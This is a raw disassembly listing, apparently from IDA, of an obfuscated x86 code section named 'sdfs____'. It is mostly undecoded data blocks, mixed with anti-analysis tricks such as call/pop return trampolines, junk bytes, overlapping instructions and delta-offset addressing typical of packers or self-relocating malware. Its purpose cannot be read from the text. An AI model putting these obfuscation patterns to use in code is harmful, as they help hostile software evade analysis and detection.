		dd 0ECD785B5h, 0EDDB8007h, 1AB195FFh, 6A07E9h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 0D67487C3h, 0FB8B98E4h, 0D779B58Bh, 9D8B07ECh, 7E916D5h
		dd 2449858Bh, 6A07E9h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 0E24EC6C3h, 1E0A90D9h, 0CE9h, 0FE2D4D00h
		dd 259B1523h, 0F2E2D1D9h, 53CB81BFh, 89406531h,	0C486h
		dd 0EE900h, 0E8DC0000h,	416102F9h, 7B4BB4B2h, 0AB3B3636h
		dd 320D958Bh, 858907E9h, 7E90859h, 104C283h, 0E91F19B5h
		dd 20508907h, 1169B531h, 858D07E9h, 7ECECA1h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 0D0C35141h, 30515947h
		dd 0E5BB665Fh, 88BF6649h, 5BF856E4h, 0B88689h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 67489FC3h, 48D63052h, 60B1E864h, 0AE9h, 9C7F8300h, 0D75D639Fh
		dd 8B41F204h, 0E91A198Dh, 6A6107h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 84C35141h, 0C6C249FCh, 2B52F8D0h
		dd 0FF5B51FCh, 0ECD785B5h, 53006A07h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 0B143BFE1h
		dd 89F2A397h, 0E925D58Dh, 11BD8B07h, 0FF07E91Bh, 0E902CD95h
		dd 0A1B58907h, 5007E90Fh, 0FD9BF66h, 60243489h,	0BD3147B4h
		dd 7E90961h, 85B5FF61h,	0F07ECD7h, 128Fh, 0AE86000h, 9D000000h
		dd 613DF831h, 36EBAFEAh, 0FF615AA6h, 0E9302D95h, 0D958907h
		dd 8307E90Fh, 0E91EC9BDh, 840F0007h, 45h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 19h, 8DC35545h, 8F06F149h
		dd 0AE99603h, 8F000000h, 7C6732E8h, 0A6B36913h,	0BB66506Bh
		dd 6096F016h, 3880Fh, 0B70F0000h, 0CBB70FF6h, 85B5FF61h
		dd 6A07ECD7h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 0B449C356h, 29BF6658h,	9D95FF05h
		dd 6A07E91Fh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 0C5BFC353h, 0D10A6573h, 9D8918CDh
		dd 7E90A2Dh, 0D785B5FFh, 816607ECh, 0FFADDCDFh,	0E9013995h
		dd 4FC38107h, 832EA6CBh, 0E929CDBDh, 840F0207h,	4Ah, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0F7C35040h, 0FE2BC48Bh
		dd 3CC1B091h, 79DBD89h,	858B07E9h, 7E90875h, 0C6FCh, 11E9h
		dd 0AC92DA00h, 8A8435BEh, 25C916E9h, 1BB06BDFh,	85C72680h
		dd 7E924ADh, 0
; ---------------------------------------------------------------------------
		mov	ebx, [ebp+7E9265Dh]


loc_5D181A:				; CODE XREF: sdfs____:005D1449j
					; sdfs____:005D1481j
		jmp	near ptr dword_5D0B08+9Ch
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_5D182A
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D182A	proc near		; CODE XREF: sdfs____:005D1822p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_5D182A	endp

; ---------------------------------------------------------------------------
		dw 9B6Fh
; ---------------------------------------------------------------------------
		xchg	eax, edi
		mov	edi, [ebp+7E90121h]
		mov	eax, ecx
		jmp	loc_5D1853
; ---------------------------------------------------------------------------
		dw 0F9EDh
		dd 4C81D9Dh
		db 0CDh, 8Dh, 0A3h
; ---------------------------------------------------------------------------


loc_5D1853:				; CODE XREF: sdfs____:005D1845j
		lea	eax, [ebp+7E90861h]
		call	near ptr loc_5D186F+2
		pop	edx
		pop	ebp
		dec	eax
		mov	ch, 30h
		xor	ecx, [ecx-74A3BB80h]
		sub	esi, edi
		xchg	ch, bl
		fstp8	st(1)


loc_5D186F:				; CODE XREF: sdfs____:005D1859p
		enter	0FA8h, 82h
; ---------------------------------------------------------------------------
		db 0
		dd 5F000000h, 66525090h, 0FC488BBh, 52506031h, 585A310Fh
		dd 5A61D98Bh, 0A6B75058h, 57006A90h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 7C082FE8h
		dd 0B7006AA2h, 0E8006ADBh, 12h,	0B5CA63D6h, 51E01F3Ah
		dd 84299219h, 0C3F4D90Eh, 4DBB5685h, 5F111BFDh,	845BD0Bh
		dd 858D07E9h, 7EDDCFFh,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 8EC35141h, 0DFE50FAFh, 0DEE88B2Bh, 89D9509h
		dd 0BD0107E9h, 7E90939h, 6A05C083h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 8079C352h
		dd 0FDCD74D4h, 25BFDE8Bh, 502319B3h, 6A240489h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 0C348C357h, 0B70F82B9h, 719D8BFBh, 6A07E925h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 0A62B0C13h, 0F3810993h, 5CA24C7Ch, 6A006Ah, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 2B001FC3h, 489AF781h, 95FF19F4h, 7E90FB9h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0FBC35141h, 45DF8112h
		dd 0BB40974Ch, 49D82ADEh, 0D72C8D8Dh, 958907ECh, 7E906FDh
		dd 0DE8D1FFh, 7E000000h, 34695A62h, 0F84D68E9h,	7D66C229h
		dd 819D8960h, 8B07E92Ch, 0E91FA185h, 835B6107h,	0E91B69BDh
		dd 850F0107h, 99h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 18h, 0FCC35141h, 2362517Bh, 8E9h, 9BE4E700h
		dd 1876FDCAh, 0E9026A73h, 10h, 0CEE1D7D0h, 0AB657A3Ah
		dd 436DA10Fh, 0BFA7731Fh, 52506050h, 12E8h, 0E18B8200h
		dd 0CD5DD1BAh, 139AC44Ch, 0BD7A226Fh, 5E47620Dh, 0A2B0310Fh
		dd 8961585Ah, 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 816699C3h, 8B5AD9EBh, 0CD95FFFBh
		dd 6607E902h, 0B797DFBFh, 0E45E93Dh, 0E80000h, 5D000000h
		dd 0DD09ED81h, 0BD8B07EDh, 7E93165h, 9E8h, 25DA2100h, 0C943D7A2h
		dd 860F2D68h, 2, 8D5F5F52h, 0ECB40685h,	51006A07h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h
		dd 864EE295h, 941881CCh, 249DBD8Bh, 535007E9h, 5E8h, 6B3BF600h
		dd 616068ECh, 4895F5Bh,	6413B324h, 35FFh, 9D890000h, 7E92EFDh
		dd 258964h, 8A000000h, 9D85FFD8h, 6A07E90Fh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 4FD2C351h, 5587CD06h, 89194710h, 0E9297DB5h,	8BFF6A07h
		dd 0E934C5BDh, 0D1B5FF07h, 6A07E912h, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0A028C356h
		dd 705737D8h, 0AD54394Ch, 3D95FFF9h, 0E907E923h, 145h
		dd 5BFB8B57h, 8D0100B0h, 7E919D5h, 800F70E6h, 16h, 11E9h
		dd 7DADB00h, 0DBE0493Ah, 2FBADFEEh, 0F4A8D9CAh,	0E4F83980h
		dd 0E99D8B71h, 3C07E90Bh, 0A830F61h, 8B000001h,	0E91CDDBDh
		dd 0C8B60F07h, 0B9BD8960h, 8907E92Eh, 0E90A919Dh, 6BA6107h
		dd 0F000000h, 1784h, 12E900h, 2C0000h, 669D98FEh, 0FD793CC6h
		dd 8E84A9E3h, 1BB9CA0Fh, 0FE8C18Bh, 5C000000h, 79223CA1h
		dd 6E9B88EBh, 60D992E9h, 6BBEBB8h, 5F5B9CC6h, 8904E8C1h
		dd 0E919E58Dh, 0E2F76607h, 24719589h, 0C82B07E9h, 0D18BF98Bh
		dd 6E9F9h, 0B5890000h, 7E90A39h, 851858Bh, 8B6007E9h, 0E9265D85h
		dd 0F18B6607h, 7C08361h, 0AE59D8Bh, 0C08307E9h,	0C3816600h
		dd 0D03B91E7h, 25830Fh,	8D890000h, 7E91815h, 5CE9h, 0EE800h
		dd 70D20000h, 0D0170FF1h, 0E65B8723h, 0CBEDCEEAh, 2A298D01h
		dd 8B5B07E9h, 0E90C8D8Dh, 9B50107h, 8307E935h, 840F01E1h
		dd 2Dh,	2E9F59BFh, 8DA58375h, 0FE07E90Ch, 89D88B66h, 0E9085195h
		dd 0D59D8B07h, 0E907E909h, 8, 2B2D68C9h, 67E065C1h, 0E9h
		dd 0A7B58D00h, 6A07ED42h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 1C5DC352h, 600FA8CAh
		dd 6880Fh, 858B0000h, 7E90E29h,	2EB1BD89h, 6A6107E9h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 8E428F5Fh, 61C79BDh,	0FFF5F2B7h, 0E90C3195h,	53006A07h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
		dd 3DFF93BCh, 0D6B99B6Eh, 6A000007h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 6130C350h
		dd 21F5B589h, 0BD0B07E9h, 7E9124Dh, 6AFCE183h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 6654C353h, 3693D381h, 0C02BF9FCh, 6870Fh, 0BD890000h
		dd 7E922E1h, 0BAh, 33ADF800h, 3E8D1C2h,	4E983D0h, 0EE9F475h
		dd 50000000h, 5DB57F32h, 5669A89h, 21E4A52Ah, 0DBB666Ah
		dd 55006A75h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 2F86C39Fh, 880DE6h, 958B0000h, 7E9320Dh
		dd 2DC9BD8Bh, 8D8B07E9h, 7E922E5h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 0CC35040h, 48BF664Dh, 0C28B5024h
		dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 0E822C355h, 0B4EA040Fh, 0D8D89F8h, 8307E931h, 0E91C2DBDh
		dd 840F0007h, 0ABh, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 5FC35747h, 7FA31218h,	0C22EBAFCh, 3317BB66h
		dd 11E9h, 9C286300h, 0BE151CD6h, 50234BFCh, 0A97FF60Ch
		dd 0B82C18h, 6A000000h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 79CAC350h, 0A2EB203h
		dd 6890F60h, 89000000h,	0E92F1D85h, 0AE907h, 0C57D0000h
		dd 61AFC009h, 84FA0AA4h, 5A8D8D61h, 6A07E94Dh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 0FFBAC351h, 999D29E1h, 8307E92Ch, 0E922B1BDh, 840F0007h
		dd 44Fh, 880Fh,	0BD830000h, 7E922B1h, 57840F01h, 6A000004h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 0BD61C357h, 0F53F022h, 0BD83DAB7h, 7E922B1h
		dd 0F1860F03h, 6A000003h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 0D12AC357h,	480D736Dh
		dd 0D9D8D89h, 0F6007E9h, 68Ch, 0E5BD2B00h, 6607E90Ch, 6AD98Ch
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 162391C3h, 1CDF0053h, 9D9D8BCCh, 8007E90Ch, 0AF904E1h
		dd 26840FC9h, 6A000001h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 0F927C350h,	0A9FD0FB7h
		dd 0D5BD89EEh, 8B07E91Eh, 0E90C5585h, 0BDBD3307h, 8907E916h
		dd 0E91CD985h, 0E9853307h, 6A07E91Ch, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0AFFFC350h
		dd 6D4DA76h, 0B98AC34h
		dd 8D89B2B7h, 7E924A9h,	50C4B390h, 0B490BF66h, 0A19D2990h
		dd 6A07E922h, 8FBB6600h, 51BD8BF7h, 6807E92Bh, 365C052Ah
		dd 13860F60h, 0E9000000h, 0Eh, 0A02CBD53h, 7E045FCh, 8A8BBDC0h
		dd 0B9665356h, 816152E9h, 6D52434h, 8D0F3643h, 0Ah, 5E9h
		dd 3A459E00h, 95FFF78Fh, 7E902D9h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 80C35343h, 43F6AA6h, 0DB5A241Ah
		dd 7E9B8h, 0AA8C0000h, 0FD2CC835h, 858589F8h, 8B07ECD7h
		dd 0EE9DEh, 52A90000h, 0A05B7932h, 79DF8355h, 0F31EF40Eh
		dd 1D9E9h, 6890F00h, 1000000h, 0E9353DBDh, 7D858B07h, 6A07ECD7h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 0D676C355h, 431AFD46h, 23B7ED62h,	11E860FCh
		dd 6000000h, 0C127CC0Ch, 33B55D49h, 55846EFCh, 48A6BE7Fh
		dd 9D9D8Bh, 805907E9h, 0F61CAE6h, 86h, 1800C700h, 60000000h
		dd 89D8D8Bh, 61F507E9h,	0D781B58Bh, 6A07ECh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 0D7D491C3h
		dd 94557335h, 0F5206D0h, 683h, 59B50900h, 5F07E902h, 0E30010BBh
		dd 59858B4Dh, 6007E918h, 8166D68Bh, 611E45EEh, 89F8B70Fh
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 2B47F2DAh, 55858B13h, 6A07E90Ch,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 3C1CC357h, 0E9C702EFh, 46890129h, 57006A04h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 4DB3505Ah
		dd 0FF243489h, 0ECD77DB5h, 55006A07h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 9E8ECh, 0D24A0000h
		dd 2A1CBD03h, 66573356h, 5B60BEBFh, 3E5AD568h, 13E918h
		dd 6AAC0000h, 0A5B3D6FDh, 6BE8AED3h, 415DFD1Bh,	0A8660796h
		dd 243481FBh, 1821592Ah, 85858DF5h, 5607ECD7h, 2C399589h
		dd 905F07E9h, 1B35BF66h, 906BB350h, 0DE9h, 0C5108300h
		dd 0D91AF36Eh, 75086E98h, 95FF4797h, 7E902D9h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 1CC35646h, 8746CB81h
		dd 0E96114EEh, 10h, 3D3EA524h, 0B3407F97h, 266CB3EFh, 8314C068h
		dd 22B185C7h, 307E9h, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 8589FEC3h, 7E91979h
		dd 0D785BD83h, 0F0007ECh, 4384h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 2453BA7Bh
		dd 9A1520FDh, 0D5BB899Ah, 8B46EB1Fh, 0E93475BDh, 29E907h
		dd 8B500000h, 0E923C59Dh, 0B5295F07h, 7E907D9h,	110C3050h
		dd 1114400h, 3010E8C1h,	21144h,	5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 0E906C350h, 12h, 0CC57E55h, 0F64CD755h, 4128CEBFh, 0A4B94DBBh
		dd 870F9122h, 2, 0BD83D88Bh, 7E922B1h, 87850F03h, 57000004h
		dd 85BD835Bh, 7ECD7h, 478840Fh,	8B660000h, 85B5FFDFh, 5107ECD7h
		dd 7A3DBDBFh, 95FF5F04h, 7E91349h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 0DEC35646h,	0D88B66C7h, 0D779B58Bh
		dd 10E907ECh, 9E000000h, 3236C5Eh, 415A4ADCh, 4EB5A675h
		dd 0C751FFD7h, 1000106h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 4027654Eh, 9D8B14CBh
		dd 7E93585h, 0B4D9D8Bh,	0BD8B07E9h, 7E92A29h, 11E896h
		dd 30D40000h, 13DFDD18h, 264B5182h, 0B6FEF64Dh,	0E9EAD682h
		dd 11h,	62B01C43h, 0BA5A5DCCh, 521991Ch, 0EABD592Bh, 66505F73h
		dd 6A96FE8Bh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 0FE5BC357h, 68F0Fh, 8D890000h
		dd 7E92135h, 153D9D8Bh,	0B5FF07E9h, 7ECD785h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0B6C35747h, 16EB8166h
		dd 0B195FF70h, 8107E91Ah, 0DC3EB2DBh, 79B58B6Bh, 8B07ECD7h
		dd 49858BFBh, 0F07E924h, 8D09DBBFh, 7E92FE9h, 0C48689h
		dd 0E9F80000h, 10h, 0F57536A8h,	0BB5E2743h, 0BBE64A60h
		dd 8D23F6A8h, 320D958Bh, 6A07E9h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 92731CC3h, 0AC3C6BEBh
		dd 6A04C283h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 0F30CC352h, 6D858960h,	6107E930h
		dd 0B850Fh, 6E90000h, 7B000000h, 6BAE54A4h, 20508931h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0BDC35141h
		dd 0B1E3853Eh, 0A1858D37h, 8B07ECECh, 0E913CDBDh, 0B8868907h
		dd 9000000h, 0E92F7995h, 6A006A07h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0BD13C352h
		dd 0CFC2886Ch, 8A3C3924h, 11BD8BD9h, 0FF07E924h, 0ECD785B5h
		dd 57006A07h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 0FC70144Fh, 2CD95FFh, 0BD8907E9h, 7E91D81h
		dd 7CC8BF96h, 66507998h, 6A96FB8Bh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 742EC350h
		dd 606855AFh, 0CB19D29h, 0BF0F07E9h, 8D3161F8h,	7E9151Dh
		dd 85B5FFFCh, 0E807ECD7h, 8, 0F057B7B1h, 300A3A7Eh, 0FF5BFD8Ah
		dd 0E9302D95h, 219D8B07h, 8307E91Fh, 0E91EC9BDh, 840F0007h
		dd 9Ah,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h
		dd 2EC35646h, 6329EBE8h, 26199D0Bh, 0BE807E9h, 75000000h
		dd 0CCD7D5h, 8AAC5E5Eh,	0BD315021h, 7E916A5h, 0DABF0F5Bh
		dd 0E810F96h, 50000000h, 0F616052h, 8C0F31h, 5A000000h
		dd 13E85058h, 7000000h,	2F4BE88Eh, 2CA339D5h, 6BA0910Eh
		dd 47E7BC93h, 12E97506h, 83000000h, 7C333597h, 0BCC6E63Fh
		dd 26C82F28h, 64ACA07Ch, 0E8965F5Ch, 7,	0CF400BD2h, 8B7ED432h
		dd 0E93025BDh, 0B5FF5F07h, 7ECD785h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 0E3C35646h,	916E14Fh, 0E9158585h
		dd 0C5BD8B07h, 0FF07E915h, 0E91F9D95h, 56006A07h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
		dd 9530E71Fh, 3EAE31BBh, 8D89ED70h, 7E93121h, 0D785B5FFh
		dd 6A07ECh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 7A5221C3h, 666D024Dh, 8B57B816h, 0E902EDBDh
		dd 0BD015B07h, 7E93569h, 13995FFh, 0BD8B07E9h, 7E90859h
		dd 29CDBD83h, 0F0207E9h, 3D84h,	3DB58900h, 8B07E92Ch, 0E9087585h
		dd 81BD2B07h, 0C607E920h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h
		dd 0E4B594C3h, 5F116971h, 221DBD8Bh, 85C707E9h,	7E924ADh
		dd 0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_5D2897
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D2897	proc near		; CODE XREF: sdfs____:005D288Fp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_5D2897	endp

; ---------------------------------------------------------------------------
		db 86h
		dd 0A978AFE1h, 0F993FA93h, 21C9B589h, 0B6E907E9h, 6AFFFFF2h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 0B87EC352h, 760074E9h, 89BDBA05h,	0E90C75BDh
		dd 11E907h, 35D20000h, 0D6C6B080h, 0C2F92816h, 0F8F4296h
		dd 8BCF83C5h, 359D23C1h, 8D07E92Eh, 0E9086185h,	51006A07h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 0EDB43C13h, 66608A89h, 60A41DB8h, 0F77EC181h, 0BF0F08F1h
		dd 506161DFh, 52506060h, 585A310Fh, 61DA8B66h, 0AE860h
		dd 92750000h, 0A1D45BCDh, 0A3A059C4h, 8961615Ah, 6A2404h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 7D5C16C3h, 3B1A0516h, 0BD236F3Fh, 7E92CA1h, 6A006Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 0F7E537C3h, 6A006Ah,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 0E3C72CC3h, 8DF91CFBh, 0EDEDD285h
		dd 6820F07h, 89000000h,	0E9106985h, 5C08307h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 48C35747h, 0D0B01AF8h
		dd 0CC6ED4A2h, 859D01h,	669007E9h, 50C6F0BBh, 12E8h, 0E943B700h
		dd 7BB5155Dh, 575AF808h, 0C3790A1Dh, 50869D78h,	0E0BB6652h
		dd 50310F74h, 5A310F52h, 5F585A58h, 51006A90h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 0BDD876BDh
		dd 6AF89153h, 8D8B6000h, 7E90F51h, 61F88B66h, 6AFFBF0Fh
		dd 0FEB70F00h, 0FB995FFh, 6A07E9h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 9BEEDFC3h, 28E0Fh, 0DA8B0000h
		dd 0D72C8D8Dh, 6A07ECh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 9B4E31C3h, 0D1BD89A4h, 0FF07E91Ch
		dd 2820FD1h, 8B000000h,	69BD83DAh, 107E91Bh, 0AE850Fh
		dd 13E90000h, 39000000h, 0C75E1BB6h, 571BB5B5h,	4A4F6674h
		dd 0FA0C142Bh, 3509736h, 0E9130DBDh, 26A5B07h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 2CC35040h, 88D076A5h
		dd 0C8C0Fh, 890F0000h, 6, 2225BD8Bh, 569007E9h,	68F0Fh
		dd 52500000h, 585A310Fh, 0AE8505Bh, 7F000000h, 304B7BEEh
		dd 0DC748509h, 0F838BF05h, 905B11B7h, 0F9F8B70Fh, 2CD95FFh
		dd 6A07E9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 0E733E6C3h, 0AB373C84h, 0DB81EFB1h, 4794DB90h
		dd 0E60E9h, 0E800h, 815D0000h, 0EDEDDCEDh, 52006A07h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h
		dd 6AB408h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 397C15C3h, 840F7324h, 6, 2AE5BD29h, 0B70F07E9h
		dd 6858DFFh, 8907ECB4h,	0E9108185h, 45BF5007h, 893FD0B1h
		dd 0FF642404h, 35h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 69C868BEh, 896467EAh
		dd 25h,	0CEDB8000h, 0F9D85FFh, 6A07E9h,	3E853h,	5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 89F8ADC3h
		dd 6ADE8B2Fh, 0F5CF81FFh, 0FF7CA0C8h, 0E90E1DB5h, 51006A07h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 83DBA38Eh, 0BE032505h, 6840FC2h, 3000000h, 0E92295BDh
		dd 3890F07h, 0F000000h,	95FFDEBFh, 7E9233Dh, 142E9h, 2DBD8B00h
		dd 0B007E90Ch, 0ED8D8900h, 0E607E90Dh, 59958970h, 0E407E913h
		dd 0F1BD2971h, 3C07E922h, 1C830F61h, 81000001h,	0F2FF5AC3h
		dd 0C8B60F1Bh, 5F0DB352h, 6BAh,	0BD8B5700h, 7E91AC5h, 0FC18B5Fh
		dd 0BD23D8BFh, 7E93219h, 304E8C1h, 0E93219BDh, 0E2F76607h
		dd 3840Fh, 8B660000h, 0FC82BDEh, 1786h,	880F6000h, 0
; ---------------------------------------------------------------------------
		call	sub_5D2D26
		lea	esi, [esp+edi*8-3CC5BE67h]
		xor	edx, [edx]

; =============== S U B	R O U T	I N E =======================================



sub_5D2D26	proc near		; CODE XREF: sdfs____:005D2D18p
		pop	ecx
		popa
		mov	edx, ecx
		sub	[ebp+7E9161Dh],	ecx
		jmp	loc_5D2DEB
; ---------------------------------------------------------------------------
		or	[ebp+7E90B41h],	edi
		mov	eax, [ebp+8]
		pusha
		mov	[ebp+7E91EEDh],	ecx
		or	[ebp+7E91D29h],	edx
		popa
		add	eax, 7
		add	eax, 0
		mov	edi, [ebp+7E90F55h]
		cmp	edx, eax
		jnb	loc_5D2D7A
		jle	loc_5D2D6F
		mov	[ebp+7E92FF1h],	edx


loc_5D2D6F:				; CODE XREF: sub_5D2D26+3Dj
		jmp	loc_5D2DEB
; ---------------------------------------------------------------------------
		sub	[ebp+7E923EDh],	eax


loc_5D2D7A:				; CODE XREF: sub_5D2D26+37j
		mov	ecx, [ebp-1]
		call	loc_5D2D93
		popf
		int	0Ch		;  - IRQ4 - COM1 INTERRUPT
; ---------------------------------------------------------------------------
		dd 0AB3E6BDDh, 503F560Eh
		db 68h,	5Ah, 67h
; ---------------------------------------------------------------------------


loc_5D2D93:				; CODE XREF: sub_5D2D26+5Ap
		mov	ebx, esi
		pop	ebx
		and	ecx, 1
		jz	loc_5D2DEB
		add	bx, 0E596h
		pusha
		push	esi
		jmp	loc_5D2DB9
; ---------------------------------------------------------------------------
		db 0F3h
		dd 5575968Fh, 0CF825986h, 0B9B5C3E4h
		db 7Ch
; ---------------------------------------------------------------------------


loc_5D2DB9:				; CODE XREF: sub_5D2D26+80j
		pop	edx
		popa
		and	dword ptr [ebp-1], 0FFFFFFFEh
		jmp	loc_5D2DD3
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0C902D1F9h, 778DD969h
; ---------------------------------------------------------------------------
		pop	ebx


loc_5D2DD1:				; CODE XREF: sub_5D2D26:loc_5D2DD1j
		jbe	short loc_5D2DD1


loc_5D2DD3:				; CODE XREF: sub_5D2D26+9Cj
		mov	[ebp+8], edx
		jmp	loc_5D2DE6
; ---------------------------------------------------------------------------
		dw 0D2B9h
		db 90h
; ---------------------------------------------------------------------------
		or	eax, 98E5FE17h


loc_5D2DE6:				; CODE XREF: sub_5D2D26+B3j
		jmp	$+5


loc_5D2DEB:				; CODE XREF: sub_5D2D26+Aj
					; sub_5D2D26:loc_5D2D6Fj ...
		lea	esi, [ebp+7ED6D6Dh]
		mov	[ebp+7E9182Dh],	ecx
		push	0
		jmp	loc_5D2E10
; ---------------------------------------------------------------------------
		dw 97FFh
		dd 5C797D11h, 0E9D643AEh, 3F58B12Ah, 10D239A2h
